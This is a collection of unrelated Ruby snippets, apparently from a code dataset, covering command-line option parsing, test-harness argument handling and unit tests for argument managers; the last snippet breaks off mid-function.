"def parse_args\n options = {}\n optparse = OptionParser.new do|opts|\n # Set a banner\n opts.banner = \"Usage: harness.rb [options...]\"\n\n options[:tests] = []\n opts.on( '-t', '--tests DIR/FILE', 'Execute tests in DIR or FILE (defaults to \"./tests\")' ) do|dir|\n options[:tests] << dir\n end\n\n options[:type] = 'skip'\n opts.on('--type TYPE', 'Select puppet install type (pe, git, skip) - default \"skip\"') do\n |type|\n unless File.directory?(\"setup/#{type}\") then\n puts \"Sorry, #{type} is not a known setup type!\"\n exit 1\n end\n options[:type] = type\n end\n\n options[:puppet] = 'git://github.com/puppetlabs/puppet.git#HEAD'\n opts.on('-p', '--puppet URI', 'Select puppet git install URI',\n \" #{options[:puppet]}\",\n \" - URI and revision, default HEAD\",\n \" just giving the revision is also supported\"\n ) do |value|\n options[:type] = 'git'\n options[:puppet] = value\n end\n\n options[:facter] = 'git://github.com/puppetlabs/facter.git#HEAD'\n opts.on('-f', '--facter URI', 'Select facter git install URI',\n \" #{options[:facter]}\",\n \" - otherwise, as per the puppet argument\"\n ) do |value|\n options[:type] = 'git'\n options[:facter] = value\n end\n\n options[:config] = nil\n opts.on( '-c', '--config FILE', 'Use configuration FILE' ) do|file|\n options[:config] = file\n end\n\n opts.on( '-d', '--dry-run', \"Just report what would be done on the targets\" ) do |file|\n $dry_run = true\n end\n\n options[:mrpropper] = FALSE\n opts.on( '--mrpropper', 'Clean hosts' ) do\n puts \"Cleaning Hosts of old install\"\n options[:mrpropper] = TRUE\n end\n\n options[:stdout_only] = FALSE\n opts.on('-s', '--stdout-only', 'log output to STDOUT but no files') do\n puts \"Will log to STDOUT, not files...\"\n options[:stdout_only] = TRUE\n end\n\n options[:quiet] = false\n opts.on('-q', '--quiet', 'don\\'t log output to STDOUT') do\n options[:quiet] = true\n end\n\n opts.on( '-h', '--help', 'Display this screen' ) do\n puts opts\n exit\n end\n end\n optparse.parse!\n return options\nend",
"def parsed_args\n args = Options.new('binnacle - Simple Test and Infra automation Framework')\n args.verbose = 0\n args.runner = false\n args.result_json = ''\n\n opt_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: binnacle [options] <testfile>'\n\n opts.on('-w', '--wide', 'Do not crop the task line') { args.wide = true }\n opts.on('-v', '--verbose', 'Verbose output') { args.verbose += 1 }\n opts.on('-r', '--runner', 'Run the tasks from a file (Internal use only)') { args.runner = true }\n opts.on('--results-json=FILE', 'Results JSON file') do |json_file|\n args.result_json = json_file\n end\n\n opts.on('-h', '--help', 'Prints this help') do\n puts opts\n exit\n end\n\n opts.on('--version', 'Show Version information') do\n puts \"Binnacle #{Binnacle::VERSION}\"\n exit\n end\n end\n\n opt_parser.parse!(ARGV)\n\n if ARGV.empty?\n warn 'Task file is not specified'\n exit EXIT_INVALID_ARGS\n end\n\n args.task_files = ARGV\n args\nend",
"def test_abnormal_usage\n test_args = [-9, -9, -9]\n args = Args.new test_args\n\n args.stub(:exit, 1) do\n assert_output(\"Usage:\\nruby ruby_rush.rb *seed* *num_prospectors* *num_turns\\n*seed* should be an integer\\n*num_prospectors* should be a non-negative integer\\n*num_turns* should be a non-negative integer\\n\"){args.validate_args}\n end\n end",
"def test_parse05c\n options = ArgumentManager.parse( [ '--u-opt=foo', '--v-opt=bar' ] )\n assert_equal( 'bar', options[ 'v-opt' ] )\n end",
"def test_option_key_composed_of_short_long_hint\n\n # Mal-formed named options\n #---------------------------------------------------------------------------\n $stdout.stub(:write, nil){\n\n # No long hand given, long hand is required\n assert_raises(SystemExit){Option.new(\"-s\", nil)}\n assert_raises(SystemExit){Option.new(\"-s=COMPONENTS\", nil)}\n\n # HINT can not include equal symbol\n assert_raises(SystemExit){Option.new(\"--skip=FOO=BAR\", nil)}\n assert_raises(SystemExit){Option.new(\"-s|--skip=FOO=BAR\", nil)}\n\n # Long hand form is invalid\n assert_raises(SystemExit){Option.new(\"--skip|\", nil)}\n assert_raises(SystemExit){Option.new(\"-s|skip\", nil)}\n assert_raises(SystemExit){Option.new(\"-s|=HINT\", nil)}\n assert_raises(SystemExit){Option.new(\"-s|--skip|\", nil)}\n\n # Short hand form is invalid\n assert_raises(SystemExit){Option.new(\"--skip|-s\", nil)}\n assert_raises(SystemExit){Option.new(\"-s, --skip=FOO\", nil)}\n }\n\n # Well-formed named options\n #---------------------------------------------------------------------------\n # long hand only, simple name, flag\n opt = Option.new(\"--skip\", nil)\n assert_nil(opt.hint)\n assert_equal(\"--skip\", opt.key)\n assert_equal(\"--skip\", opt.long)\n assert_nil(opt.short)\n\n # long hand only with dash in name, flag\n opt = Option.new(\"--skip-foo\", nil)\n assert_nil(opt.hint)\n assert_equal(\"--skip-foo\", opt.key)\n assert_equal(\"--skip-foo\", opt.long)\n assert_nil(opt.short)\n\n # long hand only with incoming String value\n opt = Option.new(\"--skip=HINT\", nil, type:String)\n assert_equal(\"HINT\", opt.hint)\n assert_equal(\"--skip\", opt.long)\n assert_nil(opt.short)\n\n # short/long hand simple name, flag\n opt = Option.new(\"-s|--skip\", nil)\n assert_nil(opt.hint)\n assert_equal(\"-s|--skip\", opt.key)\n assert_equal(\"-s\", opt.short)\n assert_equal(\"--skip\", opt.long)\n\n # short/long hand with incoming String value\n opt = Option.new(\"-s|--skip=HINT\", nil, type:String)\n assert_equal(\"HINT\", opt.hint)\n assert_equal(\"-s|--skip=HINT\", opt.key)\n assert_equal(\"-s\", opt.short)\n assert_equal(\"--skip\", opt.long)\n end",
"def test_parse05b\n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [ '--u-opt=foo', '--v-opt' ] )\n }\n end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def test_options_parser\n input_short = '-oC:\\test -v -c pass'.split(\" \")\n input_long = '--output-path=C:\\test --verbose --copy-only pass'.split(\" \")\n\n [input_short, input_long].each do |input|\n options = parse_args(input)\n\n assert_equal('C:\\test', options[:output_folder])\n assert_true(options[:verbose])\n assert_true(options[:copy_only])\n assert_equal(['pass'], input)\n end\n end",
"def test_extract_files_and_options\n files, options = public_extract_files_and_options('some')\n assert_equal(['some'], files)\n assert_equal({}, options)\n \n files, options = public_extract_files_and_options('some', 'other')\n assert_equal(['some', 'other'], files)\n assert_equal({}, options)\n \n \n files, options = public_extract_files_and_options('some', 'other', :key => :value)\n assert_equal(['some', 'other'], files)\n assert_equal({:key => :value}, options)\n \n files, options = public_extract_files_and_options('some', 'other', {})\n assert_equal(['some', 'other'], files)\n assert_equal({}, options)\n end",
"def parse_args\n options = {}\n optparse = OptionParser.new do|opts|\n # Set a banner\n opts.banner = \"Usage: harness.rb [-c || --config ] FILE [-d || --testdir] DIR\"\n\n options[:testdir] = nil\n opts.on( '-d', '--testdir DIR', 'Execute tests in DIR' ) do|dir|\n options[:testdir] = dir\n end\n options[:config] = nil\n opts.on( '-c', '--config FILE', 'Use configuration FILE' ) do|file|\n options[:config] = file\n end\n\n opts.on( '-h', '--help', 'Display this screen' ) do\n puts opts\n exit\n end\n end\n optparse.parse!\n return options\nend",
"def parse_args\n require 'optimist'\n opts = Optimist.options do\n opt :source, \"Inventory Source UID\", :type => :string, :required => ENV[\"SOURCE_UID\"].nil?, :default => ENV[\"SOURCE_UID\"]\n opt :ingress_api, \"Hostname of the ingress-api route\", :type => :string, :default => ENV[\"INGRESS_API\"] || \"http://localhost:9292\"\n opt :config, \"Configuration file name\", :type => :string, :default => ENV[\"CONFIG\"] || \"default\"\n opt :data, \"Amount & custom values of generated items\", :type => :string, :default => ENV[\"DATA\"] || \"default\"\n end\n\n opts\nend",
"def parse_command_line(args)\n test_configuration = {}\n\n option_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: run-tests.rb [options]'\n opts.separator 'Specific options:'\n\n opts.on('--blinkr', 'Execute broken link checks') do |opt|\n test_configuration[:blinkr] = opt\n end\n\n opts.on('--dcp', 'Execute dcp broken link checks') do |opt|\n test_configuration[:dcp] = opt\n end\n\n opts.on('--base-url RHD_BASE_URL', String, 'Run the tests against the specified host e.g http://developers.stage.redhat.com') do |host|\n test_configuration[:base_url] = host\n end\n\n opts.on('-c CONFIG_FILE', 'specify the config.yaml file for broken link checks') do |opt|\n test_configuration[:config] = opt\n end\n\n opts.on('--ignore-internal', \"Ignore internal URL's\") do |opt|\n test_configuration[:ignore_internal] = opt\n end\n\n opts.on('--ignore-external', \"Ignore external URL's\") do |opt|\n test_configuration[:ignore_external] = opt\n end\n\n opts.on('--ignore-ssl', 'Disable SSL certificate checking for staging environments') do |opt|\n test_configuration[:ignore_ssl] = opt\n end\n\n #\n # Options supporting the execution of the tests within Docker\n #\n opts.on('--use-docker', 'Run the specified test type using Docker') do\n test_configuration[:docker] = true\n end\n\n opts.on_tail('-h', '--help', 'Show this message') do\n puts opts\n Kernel.exit(1)\n end\n end\n\n begin\n option_parser.parse!(args)\n rescue OptionParser::InvalidOption => e\n puts e\n option_parser.parse(%w(-h))\n end\n bind_test_type_environment_variable(test_configuration)\n build_test_execution_command(test_configuration)\n test_configuration\n end",
"def setup(options = {}); end",
"def parse_test_arguments(arguments)\n # defaults\n $user = `whoami`.strip\n $chromedriver_path = '/usr/local/bin/chromedriver'\n $test_email = ''\n $share_email = ''\n $test_email_password = ''\n $share_email_password = ''\n $order = 'defined'\n $download_dir = \"/Users/#{$user}/Downloads\"\n $portal_url = 'https://localhost/single_cell'\n $env = 'development'\n $random_seed = SecureRandom.uuid\n $verbose = false\n $headless = true\n $webdriver_proxy = nil\n\n # usage string for help message\n $usage = \"ruby test/ui_test_suite.rb -- -c=/path/to/chromedriver -e=testing.email@gmail.com -p='testing_email_password' -s=sharing.email@gmail.com -P='sharing_email_password' -o=order -d=/path/to/downloads -u=portal_url -E=environment -r=random_seed -i (to disable headless)\"\n\n # parse arguments and set values\n arguments.each do |arg|\n if arg =~ /\\-c\\=/\n $chromedriver_path = arg.gsub(/\\-c\\=/, '')\n elsif arg =~ /\\-e\\=/\n $test_email = arg.gsub(/\\-e\\=/, '')\n elsif arg =~ /\\-p\\=/\n $test_email_password = arg.gsub(/\\-p\\=/, '')\n elsif arg =~ /\\-s\\=/\n $share_email = arg.gsub(/\\-s\\=/, '')\n elsif arg =~ /\\-P\\=/\n $share_email_password = arg.gsub(/\\-P\\=/, '')\n elsif arg =~ /\\-o\\=/\n $order = arg.gsub(/\\-o\\=/, '').to_sym\n elsif arg =~ /\\-d\\=/\n $download_dir = arg.gsub(/\\-d\\=/, '')\n elsif arg =~ /\\-u\\=/\n $portal_url = arg.gsub(/\\-u\\=/, '')\n elsif arg =~ /\\-E\\=/\n $env = arg.gsub(/\\-E\\=/, '')\n elsif arg =~ /\\-r\\=/\n $random_seed = arg.gsub(/\\-r\\=/, '')\n elsif arg == '-v'\n $verbose = true\n elsif arg == '-i'\n $headless = false\n elsif arg =~ /\\-x=/\n $webdriver_proxy = arg.gsub(/\\-x\\=/, '')\n end\n end\nend",
"def setup\n begin\n @options = OptParser.parse(ARGV)\n rescue ParserExceptions::MissingArgument\n exit(1)\n end\n\n end",
"def test_parse04c\n options = ArgumentManager.parse( [ '--u-opt', 'foo' ] )\n assert_equal( 'foo', options[ 'u-opt' ] )\n end",
"def test_parse05a\n ArgumentManager.add_option( [ 'v-opt' ], :type => :string, :mandatory => true )\n \n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [ '--u-opt=foo' ] )\n }\n end",
"def method_missing(m)\n\n case m\n when :createproj\n @args[:projectdir] = @options[m]\n @args[m] = true\n \n when :quickpkg\n # raise BoilerMakerErr.new(\"Option -Q: This option is unimplemented.\") \n @args[m] = @options[:quickpkg]\n \n when :projectdir\n unless @options[:createproj] or @options[:tconvert] or @options[:fetch] or @options[:package] or @options[:boil] or @options[:rollup]\n raise BoilerMakerErr.new(\"Option --#{m}: This flag is only useful when combined with: -C, -t, -f or -p\") \n end\n @args[m] = File.expand_path(@options[m])\n unless @options[:createproj]\n raise BoilerMakerErr.new(\"No such file or dir: #{@args[m]}\") unless File.exists?(@args[m])\n end\n \n when :ktcheck\n if @options[:createproj] or @options[:projectdir] or @options[:tconvert] or @options[:fetch]\n raise BoilerMakerErr.new(\"Option --#{m}: This flag is only useful when combined with: -c, -h or -w\") \n end\n raise BoilerMakerErr.new(\"Option --#{m}: Use the -h to specify a Radmind server host\") unless @options[:radhost]\n @args[m] = @options[m]\n \n when :tconvert\n @args[m] = File.expand_path(@options[m])\n raise BoilerMakerErr.new(\"No such file or dir: #{@args[m]}\") unless File.exists?(@args[m])\n \n when :fetch\n raise BoilerMakerErr.new(\"Option --#{m}: Use the -h to specify a Radmind server host\") unless @options[:radhost]\n @args[m] = File.expand_path(@options[m])\n raise BoilerMakerErr.new(\"No such file or dir: #{@args[m]}\") unless File.exists?(@args[m])\n \n when :radhost\n unless @options[:ktcheck] or @options[:fetch]\n raise BoilerMakerErr.new(\"Option --#{m}: This flag is only useful when combined with: -K or -f\") \n end\n @args[m] = @options[m]\n\n when :boil\n @args[m] = @options[m]\n \n when :package\n @args[m] = @options[m]\n\n when :rollup\n @args[m] = @options[m]\n \n when :secure\n unless @options[:ktcheck] or @options[:fetch]\n raise BoilerMakerErr.new(\"Option --#{m}: This flag is only useful when combined with: -K or -f\")\n end\n @args[m] = @options[m]\n\n when :cksum\n unless @options[:ktcheck] or @options[:fetch]\n raise BoilerMakerErr.new(\"Option --#{m}: This flag is only useful when combined with: -K or -f\")\n end\n @args[m] = @options[m]\n \n end\n \n end",
"def test_parse02c\n options = ArgumentManager.parse( [ '--s-opt=foo' ] )\n assert_equal( 'foo', options[ 's-opt' ] )\n end",
"def cli_arguments\n %W(\n --fail-fast\n ) + strategy.spec_files(mutation.subject)\n end",
"def test_parse02a\n options = ArgumentManager.parse( [] )\n assert_equal( nil, options[ 's-opt' ] )\n end",
"def revive options\n setup options\n end",
"def clean(options)\n options[:softbin] ||= options.delete(:sbin) || options.delete(:soft_bin)\n options[:number] ||= options.delete(:test_number) || options.delete(:tnum) ||\n options.delete(:testnumber)\n options[:name] ||= options.delete(:tname) || options.delete(:testname) ||\n options.delete(:test_name)\n options[:index] ||= options.delete(:ix)\n end",
"def parse_command_line(args)\n test_configuration = {}\n\n option_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: run-tests.rb [options]'\n opts.separator 'Specific options:'\n\n opts.on('--unit', 'Execute frontend unit-tests') do |opt|\n test_configuration[:unit] = opt\n end\n\n opts.on('--e2e', 'Execute frontend end-to-end tests') do |opt|\n test_configuration = create_default_test_configuration\n test_configuration[:e2e] = opt\n end\n\n opts.on('--blc', 'Execute broken link checks') do |opt|\n test_configuration[:blc] = opt\n end\n\n #\n # e2e and broken link testing commandline options\n #\n opts.on('--base-url RHD_BASE_URL', String, 'Run the tests against the specified host e.g http://developers.stage.redhat.com') do |host|\n test_configuration[:base_url] = host\n end\n\n opts.on('--verbose', 'Verbose output for debugging') do |opt|\n bind_environment_variable('RHD_VERBOSE_OUTPUT', 'true')\n test_configuration[:verbose] = opt\n end\n\n #\n # e2e commandline options\n #\n opts.on('--browser BROWSER', String, 'The driver to use when running the tests. [default=chrome]') do |browser|\n check_supported_browser(browser)\n test_configuration[:browser] = browser\n end\n\n opts.on('--use-browserstack', 'Run the specified test type using Docker') do\n test_configuration[:browserstack] = true\n end\n\n opts.on('--browser-count BROWSER_COUNT', String, 'The number of browsers to launch when running the tests with Docker [default=2]') do |browser_count|\n test_configuration[:browser_count] = browser_count.to_i\n end\n\n opts.on('--reporters REPORT', String, 'Type of report you wish to generate. Will mostly be used for Jenkins config, i.e. junit report') do |report|\n test_configuration[:report] = report\n end\n\n opts.on('--cucumber-tags CUCUMBER_TAGS', String, 'The cucumber tags to use') do |cucumber_tags|\n test_configuration[:cucumber_tags] = cucumber_tags\n end\n\n opts.on('--kc', 'Run the KeyCloak e2e tests') do\n test_configuration[:keycloak] = true\n end\n\n #\n # Broken link checking commandline options\n #\n opts.on('-c CONFIG_FILE', 'specify the config.yaml file for broken link checks') do |opt|\n test_configuration[:config] = opt\n end\n\n opts.on('-s SINGLE_URL', 'test a single URL, outputting the response to the console') do |opt|\n test_configuration[:single_url] = opt\n test_configuration[:base_url] = opt\n end\n\n opts.on('--ignore-internal', \"Ignore internal URL's\") do |opt|\n test_configuration[:ignore_internal] = opt\n end\n\n opts.on('--ignore-external', \"Ignore external URL's\") do |opt|\n test_configuration[:ignore_external] = opt\n end\n\n opts.on('--ignore-ssl', 'Disable SSL certificate checking for staging environments') do |opt|\n test_configuration[:ignore_ssl] = opt\n end\n\n #\n # Options supporting the execution of the tests within Docker\n #\n opts.on('--use-docker', 'Run the specified test type using Docker') do\n test_configuration[:docker] = true\n end\n\n opts.on('--update-github-status SHA1', String, 'The SHA to report test results for on GitHub') do |sha1|\n test_configuration[:github_sha1] = sha1\n end\n\n opts.on('--profile PROFILE', String, 'Used to determine the git status context for e2e tests') do |profile|\n test_configuration[:profile] = profile\n end\n\n opts.on_tail('-h', '--help', 'Show this message') do\n puts opts\n Kernel.exit(1)\n end\n end\n\n begin\n option_parser.parse!(args)\n rescue OptionParser::InvalidOption => e\n puts e\n option_parser.parse(%w(-h))\n end\n bind_test_type_environment_variable(test_configuration)\n bind_github_status_environment_variables(test_configuration[:github_sha1], ENV['rhd_test'].to_s, test_configuration[:profile])\n bind_browser_environment_variables(test_configuration[:docker], test_configuration[:browser], test_configuration) if test_configuration[:e2e]\n build_test_execution_command(test_configuration)\n test_configuration\n end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def parse_options(args)\n args.each do |arg|\n case arg\n when '-h', '--help' then @opts[:help] = true\n when '-un', '--user' then @opts[:user] = args.next(arg)\n when '-pw', '--pass' then @opts[:pass] = args.next(arg)\n when '-t', '--token' then @opts[:token] = args.next(arg)\n when '-g', '--get' then @opts[:get] = args.next(arg)\n when '-d', '--debug' then @opts[:debug] = true\n when '-r', '--random' then @opts[:get] = nil\n else next\n end\n end\n end",
"def test_parse03c\n options = ArgumentManager.parse( [ '--t-opt=foo' ] )\n assert_equal( 'foo', options[ 't-opt' ] )\n end",
"def test_parse04b\n options = ArgumentManager.parse( [ '--u-opt' ] )\n assert_equal( 'foo', options[ 'u-opt' ] )\n end",
"def test_parse03a\n ArgumentManager.add_option( [ 't-opt' ], :type => :string )\n \n options = ArgumentManager.parse( [] )\n assert_equal( nil, options[ 't-opt' ] )\n end",
"def parse_args(args)\n options = {\n :excount => 5,\n :testdata => nil,\n :console => false,\n :raw => false,\n :pronounciation_offset => 1,\n :definition_offset => 2,\n :url => \"m\"\n }\n\n opt_parser = OptionParser.new do |opts|\n opts.banner = \"Usage: #{$0} <input filepath> [options]\"\n\n opts.separator \"\"\n opts.separator \"Data options:\"\n opts.on(\"-p N\", Integer, \"Offset to pronunciation column, default 1\") do |n|\n options[:pronounciation_offset] = n\n end\n opts.on(\"-d N\", Integer, \"Offset to definition column, default 2\") do |n|\n options[:definition_offset] = n\n end\n opts.on(\"-n N\", Integer, \"Number of example sentences, default 5\") do |n|\n options[:excount] = n\n end\n opts.on(\"-u U\", String, \"Source url (#{WWWJDICExampleProvider::SOURCES.to_s}), default #{options[:url]}\") do |u|\n options[:url] = u\n end\n\n opts.separator \"\"\n opts.separator \"Testing:\"\n opts.on(\"-t\", \"--testdata [DATAFILE]\",\n \"Path to yaml data file of examples (useful for testing)\") do |d|\n options[:testdata] = d\n end\n\n opts.separator \"\"\n opts.separator \"Output:\"\n opts.on(\"-c\", \"--console\", \"Dump to console only\") do |c|\n options[:console] = c\n end\n opts.on(\"-r\", \"--raw\", \"Output raw data (all examples)\") do |c|\n options[:raw] = c\n end\n\n opts.separator \"\"\n opts.on_tail(\"-h\", \"--help\", \"Show this message\") do\n puts opts\n exit\n end\n end\n\n opt_parser.parse!(args)\n options\nend",
"def setup(options); end",
"def setup(options); end",
"def run(opts)\n\n # pull our required arguments out \n required_options = self.class.metadata[:options].select{|a| a[:required]}\n\n # colllect all the missing arguments\n missing_options = []\n required_options.each do |req|\n missing = true\n opts.each do |name, value|\n missing = false if \"#{req[:name]}\".strip == \"#{name}\".strip\n end\n missing_options << req if missing\n end\n\n # Task help! \n if opts[:help]\n print_task_help self.class.metadata[:id]\n print_good \"Returning!\"\n exit \n end\n\n # if we do have missing ones, lets warn the user here and return\n unless missing_options.empty?\n print_error \"Required options missing, cowardly refusing to continue!\"\n missing_options.each do |arg|\n print_error \"Missing! #{arg[:name]}: #{arg[:description]}\"\n end\n exit\n end\n \n # No missing arguments, so let's add in our default arguments now\n self.class.metadata[:options].each do |o|\n print_good \"Setting #{o[:name].to_sym} to default value: #{o[:default]}\" unless (o[:default] == \"\" || !o[:default])\n opts[o[:name].to_sym] = o[:default] unless opts[o[:name].to_sym] # but still set it to whatever\n opts[o[:name].to_sym] = nil if opts[o[:name].to_sym] == \"\" # set empty string to nil so it's a little easier to check for that \n end\n\n #### !!!!!!!\n #### Convert arguments to ruby types based on their type here\n #### !!!!!!!\n\n # Convert booleans to an actual false value\n opts.each do |oname,ovalue|\n\n # get the option specfics by iterating through our hash\n option_hash = self.class.metadata[:options].select{|a| a[:name] == oname.to_s.strip }.first\n next unless option_hash\n\n expected_type = option_hash[:type]\n next unless expected_type\n \n if expected_type == \"boolean\"\n if ovalue == \"false\"\n print_good \"Converting #{oname} to false value\" if opts[:debug]\n opts[oname] = false\n elsif ovalue == \"true\"\n print_good \"Converting #{oname} to true value\" if opts[:debug]\n opts[oname] = true\n end\n end\n\n end\n\n # if we made it here, we have the right arguments, and the right types!\n @options = opts\n\n # Print out the options so the user knows and logs what we're doing\n @options.each do |k,v| \n if k =~ /key/ || k =~ /token/ || k =~ /secret/# special case anything that has key in it\n print_good \"Got option: #{k}: #{v[0]}*******#{v[-3..-1]}\" if v\n else \n print_good \"Got option: #{k}: #{v}\"\n end\n end\n\n print_good \"\"\n print_good \"Launching the #{self.class.metadata[:name]} task!\"\n print_good \"\" \n end",
"def parse_options()\n\n options = {}\n\n ARGV.each_index do |index|\n case $*[index]\n when '-m' then options[:auto_connect] = false\n when '-v' then options[:verbose] = true\n when '-q' then options[:verbose] = false\n when '-t' then options[:log_truncate] = true\n when '-r' then options[:log_response] = false\n else\n ::Twiga.say_warn \"unknown option: #{arg}\"\n end # case\n\n $*.delete_at(index) # remove from command line\n\n end # do each cmd line arg\n \n return Kinokero::Cloudprint::DEFAULT_OPTIONS.merge(options)\n\n end",
"def parse_args\n @args.extend OptionParser::Arguable\n opts = @args.getopts('cdDi:lm:n:o:s:St:uvVz')\n @nsocks = opts['s'] ? opts['s'].to_i : 1\n @max_idle = opts['i'] ? opts['i'].to_i : DEFAULT_MAX_IDLE\n @max_use = opts['m'] ? opts['m'].to_i : DEFAULT_MAX_USE\n $VERBOSE = true if opts['v']\n end",
"def assert_valid_options\n valid_options = {\n skip_gemfile: false,\n skip_bundle: false,\n skip_git: false,\n skip_system_test: false,\n # skip_test: false,\n # skip_test_unit: false,\n edge: false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def options=(_arg0); end",
"def test_parse05b\n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [ '-k', '3', '-l' ] )\n }\n end",
"def command_run_options(c, str_opts)\n c.option '-c', '--categories [string]', String, str_opts.categories\n c.option '-d', '--dl-method [string]', String, str_opts.dl_method\n c.option '-n', '--number [integer]', Integer, str_opts.number\n c.option '-p', '--player [string]', String, str_opts.player\n c.option '-r', '--rng [string]', String, str_opts.rng\n end",
"def test_parse03b\n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [ '--t-opt' ] )\n }\n end",
"def prepare_options!\n @cli_options = ARGV.dup.uniq\n @save_options = !!@cli_options.delete('--save')\n\n if options.rails?\n sources.concat(detect_sources)\n set_rails_defaults\n end\n end",
"def extract_options!\n option_parser.order!(args)\n end",
"def test_options\n c = cli\n assert_equal(fixtures['default_words'], c.options)\n end",
"def process_argv!\n args = ARGV.dup\n self.rest = []\n @unknown_argvs = []\n until args.empty? do\n arg = args.shift\n case\n # end of options parsing\n when arg == '--'\n self.rest += args\n break\n # --param=val or --param\n when arg =~ /\\A--([\\w\\-\\.]+)(?:=(.*))?\\z/\n param, val = [$1, $2]\n warn \"Configliere uses _underscores not dashes for params\" if param.include?('-')\n @unknown_argvs << param.to_sym if (not has_definition?(param))\n self[param] = parse_value(val)\n # -abc\n when arg =~ /\\A-(\\w\\w+)\\z/\n $1.each_char do |flag|\n param = find_param_for_flag(flag)\n unless param then @unknown_argvs << flag ; next ; end\n self[param] = true\n end\n # -a val\n when arg =~ /\\A-(\\w)\\z/\n flag = find_param_for_flag($1)\n unless flag then @unknown_argvs << flag ; next ; end\n if (not args.empty?) && (args.first !~ /\\A-/)\n val = args.shift\n else\n val = nil\n end\n self[flag] = parse_value(val)\n # -a=val\n when arg =~ /\\A-(\\w)=(.*)\\z/\n flag, val = [find_param_for_flag($1), $2]\n unless flag then @unknown_argvs << flag ; next ; end\n self[flag] = parse_value(val)\n else\n self.rest << arg\n end\n end\n @unknown_argvs.uniq!\n end",
"def test_parse04a\n ArgumentManager.add_option([ 'u-opt' ], :type => :string, :mandatory => true, :df_str => 'foo' )\n \n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [] )\n }\n end",
"def assert_valid_options\n valid_options = {\n skip_gemfile: false,\n skip_bundle: false,\n skip_git: false,\n skip_system_test: false,\n skip_test: false,\n skip_test_unit: false,\n edge: false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"def test_execute_with_string_arg\n assert_equal 0, MM2.execute(\"--version\")\n assert_equal 1, MM2.execute(\"--lh 3\")\n # After executing the \"--version\" command, the verbosity is changed to 3.\n # To prevent test_get_verbose from failing, set it back to 1.\n MM2.verbose = 1\n end",
"def testCommandLineDetailedListShort\n executeSlave( [ '-e' ] )\n end",
"def process_options\n\t\t@options[:verbose] = false if @options[:quiet]\n\t\t@options[:getword] = false if @options[:random]\n\t\t@options[:add] = false if @options[:random] or @options[:getword]\n\tend",
"def test_parse03b\n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [ '-j' ] )\n }\n end",
"def common_options(opts); end",
"def assert_valid_options\n valid_options = {\n :skip_gemfile => false,\n :skip_bundle => false,\n :skip_git => false,\n :skip_test_unit => false,\n :edge => false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"def optional_pull\n if ARGV.include?(\"--pull\")\n puts %x(feature pull)\n end\nend",
"def parse(args = nil)\n\t\t\t\targs ||= {}\n\t\t\t\t# Create options\n\t\t\t\tnoat = [:bool, :action]\n\t\t\t\tsopts = @options.each_value.collect { |option| [option[:long], option[:short], noat.include?(option[:type]) ? GetoptLong::NO_ARGUMENT : GetoptLong::REQUIRED_ARGUMENT] }\n\n\t\t\t\topts = GetoptLong.new(*sopts)\n\t\t\t\topts.quiet = true\n\n\t\t\t\t# Parse option\n\t\t\t\tbegin\n\t\t\t\t\topts.each do |given, arg|\n\t\t\t\t\t\toptname = @options_map[given]\n\t\t\t\t\t\toption = @options[optname]\n\t\t\t\t\t\tvalue = nil\n\n\t\t\t\t\t\t# VALIDATE ARGUMENT DUE TO CASE\n\t\t\t\t\t\tcase option[:type]\n\t\t\t\t\t\t\twhen :string then\n\t\t\t\t\t\t\t\tvalue = arg\n\t\t\t\t\t\t\twhen :int then\n\t\t\t\t\t\t\t\tif arg.strip =~ /^(-?)(\\d+)$/ then\n\t\t\t\t\t\t\t\t\tvalue = arg.to_i(10)\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t@console.fatal(msg: \"Argument of option \\\"#{given}\\\" must be an integer.\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :float then\n\t\t\t\t\t\t\t\tif arg.strip =~ /^(-?)(\\d*)(\\.(\\d+))?$/ && arg.strip() != \".\" then\n\t\t\t\t\t\t\t\t\tvalue = arg.to_f\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t@console.fatal(msg: \"Argument of option \\\"#{given}\\\" must be a float.\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :choice then\n\t\t\t\t\t\t\t\tif @options[optname].choices.find_index { |choice| arg =~ choice } then\n\t\t\t\t\t\t\t\t\tvalue = arg\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t@console.fatal(msg: \"Invalid argument (invalid choice) for option \\\"#{given}\\\".\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :list then\n\t\t\t\t\t\t\t\tvalue = arg.split(\",\")\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tvalue = true\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\t@options[optname][:value] = value\n\t\t\t\t\tend\n\t\t\t\trescue StandardError => exception\n\t\t\t\t\tif exception.message =~ /.+-- (.+)$/ 